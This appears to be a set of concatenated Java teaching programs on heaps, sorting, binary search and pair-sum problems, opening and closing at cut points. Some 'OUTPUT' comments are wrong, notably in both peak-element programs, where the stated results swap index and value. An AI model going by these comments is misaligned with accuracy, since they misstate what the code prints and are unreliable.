		if (l < n && arr[l] > arr[largest]) 
			largest = l; 
 
		if (r < n && arr[r] > arr[largest]) 
			largest = r; 

		if (largest != i) 
		{ 
			int swap = arr[i]; 
			arr[i] = arr[largest]; 
			arr[largest] = swap; 

			heapify(arr, n, largest); 
		} 
	} 

	static void printArray(int arr[]) 
	{ 
		int n = arr.length; 
		for (int i=0; i<n; ++i) 
			System.out.print(arr[i]+" "); 
		System.out.println(); 
	} 
 
	public static void main(String args[]) 
	{ 
		int arr[] = {12, 11, 13, 5, 6, 7}; 
		int n = arr.length; 

		HeapSort ob = new HeapSort(); 
		ob.sort(arr); 

		System.out.println("Sorted array is"); 
		printArray(arr); 
	} 
} 
import java.util.*;
import java.io.*;
  
class Test {
    
    public static class MinHeap{
        int arr[];
        int size;
        int capacity;
        
        MinHeap(int c){
        size = 0; 
        capacity = c; 
        arr = new int[c];
        }
    
        int left(int i) { return (2*i + 1); } 
        int right(int i) { return (2*i + 2); } 
        int parent(int i) { return (i-1)/2; } 
    
        public void minHeapify(int i) 
        { 
            int lt = left(i); 
            int rt = right(i); 
            int smallest = i; 
            if (lt < size && arr[lt] < arr[i]) 
                smallest = lt; 
            if (rt < size && arr[rt] < arr[smallest]) 
                smallest = rt; 
            if (smallest != i) 
            { 
                int temp = arr[i]; 
                arr[i] = arr[smallest]; 
                arr[smallest] = temp; 
                minHeapify(smallest); 
            } 
        }
    
        public void buildHeap(){
            for(int i=(size-2)/2;i>=0;i--)
                minHeapify(i);
        }
    
    }
    public static void main(String args[]) 
    { 
        MinHeap h=new MinHeap(11);
    } 
   
} 
import java.util.*;
import java.io.*;
  
class Test {
    
    public static class MinHeap{
        int arr[];
        int size;
        int capacity;
        
        MinHeap(int c){
        size = 0; 
        capacity = c; 
        arr = new int[c];
        }
    
        int left(int i) { return (2*i + 1); } 
        int right(int i) { return (2*i + 2); } 
        int parent(int i) { return (i-1)/2; } 
    
    
        public void insert(int x) 
        { 
            if (size == capacity)return;
            size++; 
            arr[size-1]=x; 
         
            for (int i=size-1;i!=0 && arr[parent(i)]>arr[i];) 
            { 
               int temp = arr[i]; 
                arr[i] = arr[parent(i)]; 
                arr[parent(i)] = temp; 
               i = parent(i); 
            } 
        }
    
        public void minHeapify(int i) 
        { 
            int lt = left(i); 
            int rt = right(i); 
            int smallest = i; 
            if (lt < size && arr[lt] < arr[i]) 
                smallest = lt; 
            if (rt < size && arr[rt] < arr[smallest]) 
                smallest = rt; 
            if (smallest != i) 
            { 
                int temp = arr[i]; 
                arr[i] = arr[smallest]; 
                arr[smallest] = temp; 
                minHeapify(smallest); 
            } 
        }
    
        public int extractMin() 
        { 
            if (size <= 0) 
                return Integer.MAX_VALUE; 
            if (size == 1) 
            { 
                size--; 
                return arr[0]; 
            }  
            int temp = arr[0]; 
            arr[0] = arr[size-1]; 
            arr[size-1] = temp;
            size--; 
            minHeapify(0); 
          
            return arr[size]; 
        }
    
        void decreaseKey(int i, int x) 
        { 
            arr[i] = x; 
            while (i != 0 && arr[parent(i)] > arr[i]) 
            { 
               int temp = arr[i]; 
               arr[i] = arr[parent(i)]; 
               arr[parent(i)] = temp; 
               i = parent(i); 
            } 
        }
    
        void deleteKey(int i) 
        { 
            decreaseKey(i, Integer.MIN_VALUE); 
            extractMin(); 
        }
    
    }
    
    public static void main(String args[]) 
    { 
        MinHeap h=new MinHeap(11);
        h.insert(3); 
        h.insert(2);
        h.deleteKey(0);
        h.insert(15);
        h.insert(20);
        System.out.println(h.extractMin());
        h.decreaseKey(2, 1);
        System.out.println(h.extractMin());
    } 
} 
import java.util.*;
import java.io.*;
  
class Test {
    
    public static class MinHeap
    {
        int arr[];
        int size;
        int capacity;
        
        MinHeap(int c){
        size = 0; 
        capacity = c; 
        arr = new int[c];
        }
    
        int left(int i) { return (2*i + 1); } 
        int right(int i) { return (2*i + 2); } 
        int parent(int i) { return (i-1)/2; } 
    
    
        public void insert(int x) 
        { 
            if (size == capacity)return;
            size++; 
            arr[size-1]=x; 
         
            for (int i=size-1;i!=0 && arr[parent(i)]>arr[i];) 
            { 
                int temp = arr[i]; 
                arr[i] = arr[parent(i)]; 
                arr[parent(i)] = temp; 
                i = parent(i); 
            } 
        }
    
        public void minHeapify(int i) 
        { 
            int lt = left(i); 
            int rt = right(i); 
            int smallest = i; 
            if (lt < size && arr[lt] < arr[i]) 
                smallest = lt; 
            if (rt < size && arr[rt] < arr[smallest]) 
                smallest = rt; 
            if (smallest != i) 
            { 
                int temp = arr[i]; 
                arr[i] = arr[smallest]; 
                arr[smallest] = temp; 
                minHeapify(smallest); 
            } 
        }
    
        public int extractMin() 
        { 
            if (size <= 0) 
                return Integer.MAX_VALUE; 
            if (size == 1) 
            { 
                size--; 
                return arr[0]; 
            }  
            int temp = arr[0]; 
            arr[0] = arr[size-1]; 
            arr[size-1] = temp;
            size--; 
            minHeapify(0); 
          
            return arr[size]; 
        } 
        
    }
    
    public static void main(String args[]) 
    { 
        MinHeap h=new MinHeap(11);
        h.insert(3); 
        h.insert(2);
        h.insert(15);
        h.insert(20);
        System.out.print(h.extractMin());     // OUTPUT : 2
    } 
} 
import java.util.*;
import java.io.*;
  
class Test {
    
    public static class MinHeap{
        int arr[];
        int size;
        int capacity;
        
        MinHeap(int c){
        size = 0; 
        capacity = c; 
        arr = new int[c];
        }
    
        int left(int i) { return (2*i + 1); } 
        int right(int i) { return (2*i + 2); } 
        int parent(int i) { return (i-1)/2; } 
    
    
        public void insert(int x) 
        { 
            if (size == capacity)return;
            size++; 
            arr[size-1]=x; 
         
            for (int i=size-1;i!=0 && arr[parent(i)]>arr[i];) 
            { 
               int temp = arr[i]; 
                arr[i] = arr[parent(i)]; 
                arr[parent(i)] = temp; 
               i = parent(i); 
            } 
        }
    
    }
    
    public static void main(String args[]) 
    { 
        MinHeap h=new MinHeap(11);
        h.insert(3); 
        h.insert(2);
        h.insert(15);
        h.insert(20);
    } 
   
} 
import java.util.*;
import java.io.*;
  
class Test { 
    
    public static class MinHeap{
        int arr[];
        int size;
        int capacity;
        
        MinHeap(int c){
        size = 0; 
        capacity = c; 
        arr = new int[c];
        }
    
        int left(int i) { return (2*i + 1); } 
        int right(int i) { return (2*i + 2); } 
        int parent(int i) { return (i-1)/2; } 
    }
    
    public static void main(String args[]) 
    { 
        MinHeap h=new MinHeap(11);
    } 
   
} 
import java.util.*;
import java.io.*;

class Solution
{
    public static void main (String[] args) 
    {
        int a[] = new int[]{10,5,30,15,7};
	    int l=0,r=4;
        
        mergeSort(a,l,r);
    	for(int x: a)
	        System.out.print(x+" ");    // OUTPUT : 5 7 10 15 30 
        
    }
    
    static void merge(int arr[], int l, int m, int h){
    
        int n1=m-l+1, n2=h-m;
        int[] left=new int[n1];
        int[]right=new int[n2];
        
        for(int i=0;i<n1;i++)
            left[i]=arr[i+l];
        for(int j=0;j<n2;j++)
            right[j]=arr[m+1+j];
            
        int i=0,j=0,k=l;
        while(i<n1 && j<n2){
            if(left[i]<=right[j])
                arr[k++]=left[i++];
            else
                arr[k++]=right[j++];
        }
        while(i<n1)
            arr[k++]=left[i++];
        while(j<n2)
            arr[k++]=right[j++];    
    }
    
    static void mergeSort(int arr[],int l,int r){
        if(r>l){
            int m=l+(r-l)/2;
            mergeSort(arr,l,m);
            mergeSort(arr,m+1,r);
            merge(arr,l,m,r);
        }
    }
}
// Efficient Code :

import java.util.*;
import java.io.*;

class Solution
{
    public static void main (String[] args) 
    {
        int a[] = new int[]{10,15,20,40};
        int b[] = new int[]{5,6,6,10,15};
        
        int m = a.length;
        int n = b.length;
        merge(a,b,m,n);
    }
    
    static void merge(int a[], int b[], int m, int n)
    {
        int i=0,j=0;
        while(i<m && j<n){
            if(a[i]<b[j])
                System.out.print(a[i++]+" ");
            else
                System.out.print(b[j++]+" ");
        }
        while(i<m)
            System.out.print(a[i++]+" ");
        while(j<n)
            System.out.print(b[j++]+" ");    
    }
}








// Naive Code :

import java.util.*;
import java.io.*;

class Solution
{
    public static void main (String[] args) 
    {
        int a[] = new int[]{10,15,20,40};
        int b[] = new int[]{5,6,6,10,15};
        
        int m = a.length;
        int n = b.length;
        merge(a,b,m,n);
        
    }
    
    static void merge(int a[], int b[], int m, int n){
    
        int[] c=new int[m+n];
        for(int i=0;i<m;i++)
            c[i]=a[i];
        for(int j=0;j<n;j++)
            c[j+m]=b[j];
        
        Arrays.sort(c);
        
        for(int i=0;i<m+n;i++)
            System.out.print(c[i]+" ");
    }
}
import java.util.*;
import java.io.*;

class Solution
{
    public static void main (String[] args) 
    {
        int arr[] = new int[]{50,20,40,60,10,30};
        
        int n = arr.length;
        iSort(arr,n);
        
        for(int x:arr)
            System.out.print(x+" ");    // OUTPUT : 10 20 30 40 50 60 
        
    }
    
    static void iSort(int arr[],int n)
    {
        for(int i=1;i<n;i++){
            int key = arr[i];
            int j=i-1;
            while(j>=0 && arr[j]>key){
                arr[j+1]=arr[j];
                j--;
            }
            arr[j+1]=key;
        }
    }
}
import java.io.*;

class GFG {
    
    static void selectionSort(int arr[], int n){
        for(int i = 0; i < n; i++){
            int min_ind = i;
            
            for(int j = i + 1; j < n; j++){
                if(arr[j] < arr[min_ind]){
                    min_ind = j;
                }
            }
            
            int temp = arr[i];
            arr[i] = arr[min_ind];
            arr[min_ind] = temp;
        }
    }
    
	public static void main (String[] args) {
	    int a[] = {2, 1, 4, 3};
	    selectionSort(a, 4);
	    
	    for(int i = 0; i < 4; i++){
	        System.out.print(a[i] + " ");    // OUTPUT : 1 2 3 4
	    }
	}
}
// Optimised Bubble Sort

import java.io.*;

class GFG {
    
    static void bubbleSort(int arr[], int n){
        boolean swapped;
        
        for(int i = 0; i < n; i++){
            
            swapped = false;
            
            for(int j = 0; j < n - i - 1; j++){
                if( arr[j] > arr[j + 1]){
                    
                    // swapping
                    int temp = arr[j];
                    arr[j] = arr[j+1];
                    arr[j+1] = temp;
                    
                    swapped = true;
                    
                }
            }
            if(swapped == false)
            break;
        }
    }
    
	public static void main (String[] args) {
	    int a[] = {2, 1, 4, 3};
	    bubbleSort(a, 4);
	    
	    for(int i = 0; i < 4; i++){
	        System.out.print(a[i] + " ");     // OUTPUT : 1 2 3 4
	    }
	}
}






// Bubble Sort

import java.io.*;

class GFG {
    
    static void bubbleSort(int arr[], int n){
        for(int i = 0; i < n; i++){
            for(int j = 0; j < n - i - 1; j++){
                if( arr[j] > arr[j + 1]){
                    
                    // swapping
                    int temp = arr[j];
                    arr[j] = arr[j+1];
                    arr[j+1] = temp;
                    
                }
            }
        }
    }
    
	public static void main (String[] args) {
	    int a[] = {2, 1, 4, 3};
	    bubbleSort(a, 4);
	    
	    for(int i = 0; i < 4; i++){
	        System.out.print(a[i] + " ");     // OUTPUT : 1 2 3 4
	    }
	}
}
// Binary Search : Time Complexity : O(n * log(sum - mx))   or   O(n * log(sum))

import java.util.*;
import java.io.*;

class GFG { 
    
    public static void main(String args[]) 
    { 
        int arr[]={10,20,10,30};
        int n=arr.length;
        int k=2;
        
    	System.out.print(minPages(arr,n,k));     // OUTPUT : 40 
    } 
    
    public static boolean isFeasible(int arr[],int n,int k, int ans){
        int req=1,sum=0;
        for(int i=0;i<n;i++){
            if(sum+arr[i]>ans){
                req++;
                sum=arr[i];
            }
            else{
                sum+=arr[i];
            }
        }
        return (req<=k);
    }
    
    public static int minPages(int arr[],int n, int k){
        int sum=0,mx=0;
        for(int i=0;i<n;i++){
            sum+=arr[i];
            mx=Math.max(mx,arr[i]);
        }
        int low=mx,high=sum,res=0;
        
        while(low<=high){
            int mid=(low+high)/2;
            if(isFeasible(arr,n,k,mid)){
                res=mid;
                high=mid-1;
            }else{
                low=mid+1;
            }
        }
        return res;
    } 
} 







// Naive Method : Time : Exponential (very slow)

import java.util.*;
import java.io.*;

class GFG { 
    
    public static void main(String args[]) 
    { 
        int arr[]={10,20,10,30};
        int n=arr.length;
        int k=2;
        
    	System.out.print(minPages(arr,n,k));     // OUTPUT : 40 
    } 
    
    public static int sum(int arr[],int b, int e){
        int s=0;
        for(int i=b;i<=e;i++)
            s+=arr[i];
        return s;
    }
    
    public static int minPages(int arr[],int n, int k){
        if(k==1)
            return sum(arr,0,n-1);
        if(n==1)
            return arr[0];
        int res=Integer.MAX_VALUE;
        for(int i=1;i<n;i++){
            res=Math.min(res,Math.max(minPages(arr,i,k-1),sum(arr,i,n-1)));
        }
        return res;
    } 
} 
// Method-2 : Time Complexity : O(n),  Auxiliary Space : O(1)

import java.util.*;
import java.io.*;

class GFG 
{ 

	static int repeat(int arr[], int n)
	{
		int slow = arr[0], fast = arr[0];

		do{
			slow = arr[slow];
			fast = arr[arr[fast]];
		
		}while(slow != fast);
		
		slow = arr[0];

		while(slow != fast)
		{
			slow = arr[slow];
			fast = arr[fast];
		}
		return slow;
	}

	public static void main(String args[]) 
    {
		int arr[] = {1, 3, 2, 4, 6, 5, 7, 3}, n= 8;

        System.out.println(repeat(arr, n));     // OUTPUT : 3
    } 

}






// Method-1 : Time Complexity : O(n),  Auxiliary Space : O(n)

import java.util.*;
import java.io.*;

class GFG 
{ 
	static int repeat(int arr[], int n)
	{
		boolean visit[] = new boolean[n];

		for(int i = 0; i < n; i++)
		{
			if(visit[arr[i]])
				return arr[i];
			visit[arr[i]] = true;
		}

		return -1;
	}

	public static void main(String args[]) 
    {
		int arr[] = {0, 2, 1, 3, 2, 2}, n= 6;

        System.out.println(repeat(arr, n));     // OUTPUT : 2
    } 

}
import java.util.*;
import java.io.*;


class GFG 
{ 
	static double getMed(int a1[], int a2[], int n1, int n2)
	{
		int begin1 = 0, end1 = n1;

		while(begin1 < end1)
		{
			int i1 = (begin1 + end1) / 2;
			int i2 = ((n1 + n2 + 1) / 2 )- i1;

			int min1 = (i1 == n1)?Integer.MAX_VALUE:a1[i1];
			int max1 = (i1 == 0)?Integer.MIN_VALUE:a1[i1 - 1];
			
			int min2 = (i2 == n2)?Integer.MAX_VALUE:a2[i2];
			int max2 = (i2 == 0)?Integer.MIN_VALUE:a2[i2 - 1];

			if(max1 <= min2 && max2 <= min1)
			{
				if((n1 + n2) % 2 == 0)
					return ((double)Math.max(max1, max2) + Math.min(min1, min2)) / 2;
				else
					return (double) Math.max(max1, max2);
			}
			else if(max1 > min2)
				end1 = i1 - 1;
			else 
				begin1 = i1 + 1;
		}
		
		return -1;
	}

	public static void main(String args[]) 
    {
		int a1[] = {10, 20, 30, 40, 50}, n1 = 5, a2[] = {5, 15, 25, 35, 45}, n2 = 5;
		
        System.out.println(getMed(a1, a2, n1, n2));     // OUTPUT : 27.5
    } 

}
// Java program to find a triplet 
class FindTriplet { 

	// returns true if there is triplet with sum equal 
	// to 'sum' present in A[]. Also, prints the triplet 
	boolean find3Numbers(int A[], int arr_size, int sum) 
	{ 
		int l, r; 

		/* Sort the elements */
		quickSort(A, 0, arr_size - 1); 

		/* Now fix the first element one by one and find the 
		other two elements */
		for (int i = 0; i < arr_size - 2; i++) { 

			// To find the other two elements, start two index variables 
			// from two corners of the array and move them toward each 
			// other 
			l = i + 1; // index of the first element in the remaining elements 
			r = arr_size - 1; // index of the last element 
			while (l < r) { 
				if (A[i] + A[l] + A[r] == sum) { 
					System.out.print("Triplet is " + A[i] + ", " + A[l] + ", " + A[r]); 
					return true; 
				} 
				else if (A[i] + A[l] + A[r] < sum) 
					l++; 

				else // A[i] + A[l] + A[r] > sum 
					r--; 
			} 
		} 

		// If we reach here, then no triplet was found 
		return false; 
	} 

	int partition(int A[], int si, int ei) 
	{ 
		int x = A[ei]; 
		int i = (si - 1); 
		int j; 

		for (j = si; j <= ei - 1; j++) { 
			if (A[j] <= x) { 
				i++; 
				int temp = A[i]; 
				A[i] = A[j]; 
				A[j] = temp; 
			} 
		} 
		int temp = A[i + 1]; 
		A[i + 1] = A[ei]; 
		A[ei] = temp; 
		return (i + 1); 
	} 

	/* Implementation of Quick Sort 
	A[] --> Array to be sorted 
	si --> Starting index 
	ei --> Ending index 
	*/
	void quickSort(int A[], int si, int ei) 
	{ 
		int pi; 

		/* Partitioning index */
		if (si < ei) { 
			pi = partition(A, si, ei); 
			quickSort(A, si, pi - 1); 
			quickSort(A, pi + 1, ei); 
		} 
	} 

	// Driver program to test above functions 
	public static void main(String[] args) 
	{ 
		FindTriplet triplet = new FindTriplet(); 
		int A[] = { 1, 4, 45, 6, 10, 8 }; 
		int sum = 22; 
		int arr_size = A.length; 

		triplet.find3Numbers(A, arr_size, sum);    // OUTPUT : Triplet is 4, 8, 10
	} 
} 
import java.util.*;
import java.io.*;

class Solution
{
    static int isPresent(int arr[], int n, int sum)
    {
        int l = 0, h = n-1;
        
        while(l <= h)
        {
            if(arr[l] + arr[h] == sum)
              return 1;
            else if(arr[l] + arr[h] > sum)
                h--;
            else l++;
        }
        
        return 0;
    }
    
    public static void main (String[] args) 
    {
        int arr[] = new int[]{2, 3, 7, 8, 11};
        int n = arr.length;
        int sum = 14;
        
        System.out.println(isPresent(arr, n, sum));    // OUTPUT : 1
    }
}
// Java implementation using Hashing 
import java.io.*; 
import java.util.HashSet; 

class PairSum { 
    
	static void printpairs(int arr[], int sum) 
	{ 
		HashSet<Integer> s = new HashSet<Integer>(); 
		for (int i = 0; i < arr.length; ++i) { 
			int temp = sum - arr[i]; 

			// checking for condition 
			if (s.contains(temp)) { 
				System.out.println("Pair with given sum " + sum + " is (" + arr[i] + ", " + temp + ")"); 
			} 
			s.add(arr[i]); 
		} 
	} 

	// Main to test the above function 
	public static void main(String[] args) 
	{ 
		int A[] = { 1, 4, 45, 6, 10, 8 }; 
		int n = 16; 
		printpairs(A, n); 
	} 
} 


// OUTPUT : Pair with given sum 16 is (10, 6)
// Efficient Code
 
import java.util.*;
import java.io.*;

class GFG 
{ 
	static int getPeak(int arr[], int n)
	{
		int low = 0, high = n - 1;

		while(low <= high)
		{
			int mid = (low + high) / 2;

			if((mid == 0 || arr[mid - 1] <= arr[mid]) &&
				(mid == n - 1 || arr[mid + 1] <= arr[mid]))
				return mid;
			if(mid > 0 && arr[mid - 1] >= arr[mid])
				high = mid -1;
			else
				low = mid + 1;
		}
		
		return -1;
	}

	public static void main(String args[]) 
    {
		int arr[] = {5, 20, 40, 30, 20, 50, 60}, n = 7;

        System.out.println(getPeak(arr, n));    //   OUTPUT : 20
    } 

}
 
 
 
 
 
// Naive Code
 
import java.util.*;
import java.io.*;

class GFG 
{ 
	static int getPeak(int arr[], int n)
	{
		if(n == 1)
			return arr[0];
		if(arr[0] >= arr[1])
			return arr[0];
		if(arr[n - 1] >= arr[n - 2])
			return arr[n - 1];

		for(int i = 1; i < n - 1; i++)
			if(arr[i] >= arr[i - 1] && arr[i] >= arr[i + 1])
				return arr[i];
				
		return -1;
	}

	public static void main(String args[]) 
    {
		int arr[] = {5, 10, 11, 12, 20, 12}, n = 6;

        System.out.println(getPeak(arr, n));  //   OUTPUT : 2
    } 

}
// Efficient Code
 
import java.util.*;
import java.io.*;

class GFG 
{ 

	static int search(int arr[], int n, int x)
	{
		int low = 0, high = n - 1;

		while(low <= high)
		{
			int mid = (low + high) / 2;

			if(arr[mid] == x)
				return mid;
			if(arr[low] < arr[mid])
			{
				if(x >= arr[low] && x < arr[mid])
					high = mid - 1;
				else 
					low = mid + 1;
			}
			else
			{
				if(x > arr[mid] && x <= arr[high])
					low = mid + 1;
				else
					high = mid - 1;
			}
		}
		
		return -1;
	}

	public static void main(String args[]) 
    {

		int arr[] = {10, 20, 40, 60, 5, 8}, n = 6;

		int x = 5;

        System.out.println(search(arr, n, x));      // OUTPUT : 4

    } 

}
 
 
 
 
 
// Naive Code
 
import java.util.*;
import java.io.*;

class GFG 
{ 
	static int search(int arr[], int n, int x)
	{
		for(int i = 0; i < n; i++)
			if(arr[i] == x)
				return i;

		return -1;
	}

	public static void main(String args[]) 
    {
		int arr[] = {100, 200, 400, 1000, 10, 20}, n = 6;

		int x = 10;

        System.out.println(search(arr, n, x));      // OUTPUT : 4
    } 

}
// Efficient Code
 
import java.util.*;
import java.io.*;

class GFG 
{ 
	static int bSearch(int arr[], int low, int high, int x)
	{
		if(low > high)
			return -1;

		int mid = (low + high) / 2;

		if(arr[mid] == x)
			return mid;

		else if(arr[mid] > x)
			return bSearch(arr, low, mid - 1, x);

		else
			return bSearch(arr, mid + 1, high, x);
	}

	static int search(int arr[], int x)
	{
		if(arr[0] == x) return 0;

		int i = 1;

		while(arr[i] < x)
			i = i * 2;

		if(arr[i] == x) return i;

		return bSearch(arr, i / 2 + 1, i - 1, x);
	}

	public static void main(String args[]) 
    {
		int arr[] = {1, 2, 3, 40, 50};

		int x = 4;

        System.out.println(search(arr, x));     // OUTPUT : -1
    } 

}
 
 
 
 
 
// Naive Code
 
import java.util.*;
import java.io.*;

class GFG 
{ 
	static int search(int arr[], int x)
	{
		int i = 0;

		while(true)
		{
			if(arr[i] == x) return i;

			if(arr[i] > x) return -1;

			i++;
		}
	}

	public static void main(String args[]) 
    {
		int arr[] = {1, 2, 3, 5, 5};

		int x = 4;

		System.out.println(search(arr, x));     // OUTPUT : -1
    } 

}
// Efficient Code

import java.util.*;
import java.io.*;

class GFG 
{ 
	static int sqRootFloor(int x)
	{
		int low = 1, high = x, ans = -1;

		while(low <= high)
		{
			int mid = (low + high) / 2;

			int mSq = mid * mid;

			if(mSq == x)
				return mid;
			else if(mSq > x)
				high = mid - 1;
			else
			{
				low = mid + 1;
				ans = mid;
			}
		}

		return ans;
	}

	public static void main(String args[]) 
    {

		System.out.println(sqRootFloor(10));

    } 

}





// Naive Code

import java.util.*;
import java.io.*;

class GFG 
{ 
	static int sqRootFloor(int x)
	{
		int i = 1;

		while(i * i <= x)
			i++;

		return i - 1;
	}

	public static void main(String args[]) 
    {

		System.out.println(sqRootFloor(15));

    } 

}
import java.util.*;
import java.io.*;

class GFG 
{ 
	static int countOnes(int arr[], int n)
	{
		int low = 0, high = n - 1;

		while(low <= high)
		{
			int mid = (low + high) / 2;

			if(arr[mid] == 0)
				low = mid + 1;
			else
			{
				if(mid == 0 || arr[mid - 1] == 0)
					return (n - mid);
				else 
					high = mid -1;
			}
		}

		return 0;		
	}

	public static void main(String args[]) 
    {
        int arr[] = {0, 0, 1, 1, 1, 1}, n = 6;

		System.out.println(countOnes(arr, n));   // OUTPUT : 4

    } 

}
import java.util.*;
import java.io.*;

class GFG 
{ 
	static int firstOcc(int arr[], int n, int x)
	{
		int low = 0, high = n - 1;

		while(low <= high)
		{
			int mid = (low + high) / 2;

			if(x > arr[mid])
				low = mid + 1;

			else if(x < arr[mid])
				high = mid - 1;

			else
			{
				if(mid == 0 || arr[mid - 1] != arr[mid])
					return mid;

				else
					high = mid - 1;
			}

		}

		return -1;
	}

	static int lastOcc(int arr[], int n, int x)
	{
		int low = 0, high = n - 1;

		while(low <= high)
		{
			int mid = (low + high) / 2;

			if(x > arr[mid])
				low = mid + 1;

			else if(x < arr[mid])
				high = mid - 1;

			else
			{
				if(mid == n - 1 || arr[mid + 1] != arr[mid])
					return mid;

				else
					low = mid + 1;
			}

		}

		return -1;
	}
	
	
	static int countOcc(int arr[], int n, int x)
	{
		int first = firstOcc(arr, n, x);

		if(first == -1)
			return 0;
		else 
			return lastOcc(arr, n, x) - first + 1;
	}

	public static void main(String args[]) 
    {
        int arr[] = {10, 20, 20, 20, 40, 40}, n = 6;

		int x = 20;

		System.out.println(countOcc(arr, n, x));   // OUTPUT : 3

    } 
    
}
// Iterative Code
 
import java.util.*;
import java.io.*;

class GFG 
{ 
	static int lastOcc(int arr[], int n, int x)
	{
		int low = 0, high = n - 1;

		while(low <= high)
		{
			int mid = (low + high) / 2;

			if(x > arr[mid])
				low = mid + 1;

			else if(x < arr[mid])
				high = mid - 1;

			else
			{
				if(mid == n - 1 || arr[mid + 1] != arr[mid])
					return mid;

				else
					low = mid + 1;
			}

		}

		return -1;
	}
	
	public static void main(String args[]) 
	{
	    int arr[] = {5, 10, 10, 10, 10, 20, 20}, n = 7;
	    
	    int x = 10;
	    
	    System.out.println(lastOcc(arr, n, x));   // OUTPUT : 4
    } 
    
}
 
 
 
 
 
 
// Recursive Code
 
import java.util.*;
import java.io.*;

class GFG 
{ 
	static int lastOcc(int arr[], int low, int high, int x, int n)
	{
		if(low > high)
			return -1;

		int mid = (low + high) / 2;

		if(x > arr[mid])
			return lastOcc(arr, mid + 1, high, x, n);

		else if(x < arr[mid])
			return lastOcc(arr, low, mid - 1, x, n);

		else
		{
			if(mid == n - 1 || arr[mid + 1] != arr[mid])
				return mid;

			else
				return lastOcc(arr, mid + 1, high, x, n);
		}
	}
	
	public static void main(String args[]) 
	{
	    int arr[] = {5, 10, 10, 10, 10, 20, 20}, n = 7;
	    
	    int x = 10;
	    
	    System.out.println(lastOcc(arr, 0, n - 1, x, n));   // OUTPUT : 4
    } 

}
// Efficient Code (Iterative)

import java.util.*;
import java.io.*;

class GFG 
{ 
	static int firstOcc(int arr[], int n, int x)
	{
		int low = 0, high = n - 1;

		while(low <= high)
		{
			int mid = (low + high) / 2;

			if(x > arr[mid])
				low = mid + 1;

			else if(x < arr[mid])
				high = mid - 1;

			else
			{
				if(mid == 0 || arr[mid - 1] != arr[mid])
					return mid;

				else
					high = mid - 1;
			}

		}
		return -1;
	}

	public static void main(String args[]) 
    {
        int arr[] = {5, 10, 10, 10, 20}, n = 5;

		int x = 10;

        System.out.println(firstOcc(arr, n, x));   // OUTPUT : 1
    } 
}






// Efficient Code (Recursive)

import java.util.*;
import java.io.*;

class GFG 
{ 
	static int firstOcc(int arr[], int low, int high, int x)
	{
		if(low > high)
			return -1;

		int mid = (low + high) / 2;

		if(x > arr[mid])
			return firstOcc(arr, mid + 1, high, x);

		else if(x < arr[mid])
			return firstOcc(arr, low, mid - 1, x);

		else
		{
			if(mid == 0 || arr[mid - 1] != arr[mid])
				return mid;

			else
				return firstOcc(arr, low, mid - 1, x);
		}
	}

	public static void main(String args[]) 
    {
        int arr[] = {5, 10, 10, 15, 20, 20, 20}, n = 7;

		int x = 20;
		
		System.out.println(firstOcc(arr, 0, n - 1, x));   // OUTPUT : 4
    } 
}






// Naive Code

import java.util.*;
import java.io.*;

class GFG 
{ 
	static int firstOccurrence(int arr[], int n, int x)
	{
		for(int i = 0; i < n; i++)
			if(arr[i] == x)
				return i;

		return -1;
	}

	public static void main(String args[]) 
    {
        int arr[] = {5, 10, 10, 15, 15}, n = 5;

		int x = 15;
    
        System.out.println(firstOccurrence(arr, n, x));   // OUTPUT : 3
    } 
}
// Iterative Solution : Time Complexity : O(LogN),  Aux. Space : O(1)

import java.util.*;
import java.io.*;

class GFG 
{ 
	static int bSearch(int arr[], int n, int x)
	{
		int low = 0, high = n - 1;

		while(low <= high)
		{
			int mid = (low + high) / 2;

			if(arr[mid] == x)
				return mid;

			else if(arr[mid] > x)
				high = mid - 1;

			else
				low = mid + 1;
		}

		return -1;
	}

	public static void main(String args[]) 
	{
        int arr[] = {10, 20, 30, 40, 50, 60}, n = 6;

		int x = 25;
    
        System.out.println(bSearch(arr, n, x));  // Output : -1
		
    } 

}





// Recursive Solution : Time Complexity : O(LogN),  Aux. Space : O(logN)

import java.util.*;
import java.io.*;

class GFG 
{ 
	static int bSearch(int arr[], int low, int high, int x)
	{
		if(low > high)
			return -1;

		int mid = (low + high) / 2;

		if(arr[mid] == x)
			return mid;

		else if(arr[mid] > x)
			return bSearch(arr, low, mid - 1, x);

		else
			return bSearch(arr, mid + 1, high, x);
	}

	public static void main(String args[]) 
	{
        int arr[] = {10, 20, 30, 40, 50, 60, 70}, n = 7;

		int x = 20;

        System.out.println(bSearch(arr, 0, n - 1, x));  // Output : 1
    } 
}
// Efficient Code O(n) : 

import java.util.*;
import java.io.*;
  
class GFG { 
    
    static int longestDistinct(String str) 
    { 
    	int n = str.length(); 
    	int res = 0;
    	int prev[]=new int[256];
    	Arrays.fill(prev,-1);
    	int i=0;
    	for (int j = 0; j < n; j++)
    	{
    	    i=Math.max(i,prev[str.charAt(j)]+1);
    	    int maxEnd=j-i+1;
    	    res=Math.max(res,maxEnd);
    	    prev[str.charAt(j)]=j;
    	} 
    	return res; 
    } 
    
    public static void main(String args[]) 
    { 
        String str = "geeksforgeeks"; 
	    int len = longestDistinct(str);  // OUTPUT : 7
        System.out.print("The length of longest distinct characters substring is "+ len); 
    } 
} 






// Better Approach O(n2) :

import java.util.*;
import java.io.*;
  
class GFG { 
    
    static int longestDistinct(String str) 
    { 
    	int n = str.length(); 
    	int res = 0;
    	for (int i = 0; i < n; i++){
    	    boolean visited[]=new boolean[256];
    	    for(int j=i;j<n;j++){
    	        if(visited[str.charAt(j)]==true){
    	            break;
    	        }
    	        else{
    	            res=Math.max(res,j-i+1);
    	            visited[str.charAt(j)]=true;
    	        }
    	    }
    	} 
    	return res; 
    } 
    
    public static void main(String args[]) 
    { 
        String str = "geeksforgeeks"; 
	    int len = longestDistinct(str);  // OUTPUT : 7
        System.out.print("The length of longest distinct characters substring is "+ len); 
    } 
} 






// Naive Code O(n3) : 

import java.util.*;
import java.io.*;
  
class GFG { 
    
    static boolean areDistinct(String str, int i, int j) 
    { 
    	boolean visited[]=new boolean[256]; 
    
    	for (int k = i; k <= j; k++) { 
    		if (visited[str.charAt(k)] == true) 
    			return false; 
    		visited[str.charAt(k)] = true; 
    	} 
    	return true; 
    } 

    static int longestDistinct(String str) 
    { 
    	int n = str.length(); 
    	int res = 0;
    	for (int i = 0; i < n; i++) 
    		for (int j = i; j < n; j++) 
    			if (areDistinct(str, i, j)) 
    				res = Math.max(res, j - i + 1); 
    	return res; 
    } 
    
    public static void main(String args[]) 
    { 
        String str = "geeksforgeeks"; 
	    int len = longestDistinct(str);  // OUTPUT : 7
        System.out.print("The length of longest distinct characters substring is "+ len);
    } 
} 
import java.util.*;
import java.io.*;
  
